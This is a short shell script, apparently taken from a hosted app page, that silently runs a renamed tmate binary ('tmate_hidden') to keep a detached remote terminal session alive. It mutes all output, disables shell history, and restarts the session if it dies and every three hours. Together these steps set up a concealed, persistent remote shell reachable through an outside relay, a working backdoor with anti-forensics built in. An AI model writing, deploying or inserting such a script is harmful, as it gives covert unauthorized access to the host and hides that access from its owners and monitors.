Spaces:
Running
Running
# Silence all output | |
exec 1>/dev/null 2>&1 | |
# Disable shell history | |
unset HISTFILE | |
export HISTFILE=/dev/null | |
# Remove stale socket to avoid startup errors | |
rm -f /tmp/tmate.sock | |
# Start tmate daemon managing the socket in background | |
tmate_hidden -S /tmp/tmate.sock -f & | |
# Wait a bit to ensure daemon starts | |
sleep 2 | |
# Create detached tmate session silently | |
tmate_hidden -S /tmp/tmate.sock new-session -d | |
# Wait for session to be ready | |
tmate_hidden -S /tmp/tmate.sock wait tmate-ready | |
# Loop to keep session alive and restart every 3 hours | |
start_time=$(date +%s) | |
while true; do | |
# Restart daemon and session if daemon dies | |
if ! pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; then | |
tmate_hidden -S /tmp/tmate.sock -f & | |
sleep 2 | |
tmate_hidden -S /tmp/tmate.sock new-session -d | |
tmate_hidden -S /tmp/tmate.sock wait tmate-ready | |
start_time=$(date +%s) | |
fi | |
# Restart every 3 hours | |
current_time=$(date +%s) | |
elapsed=$((current_time - start_time)) | |
if [ "$elapsed" -ge 10800 ]; then | |
pkill -f "tmate_hidden -S /tmp/tmate.sock" | |
sleep 1 | |
tmate_hidden -S /tmp/tmate.sock -f & | |
sleep 2 | |
tmate_hidden -S /tmp/tmate.sock new-session -d | |
tmate_hidden -S /tmp/tmate.sock wait tmate-ready | |
start_time=$(date +%s) | |
fi | |
sleep 10 | |
done |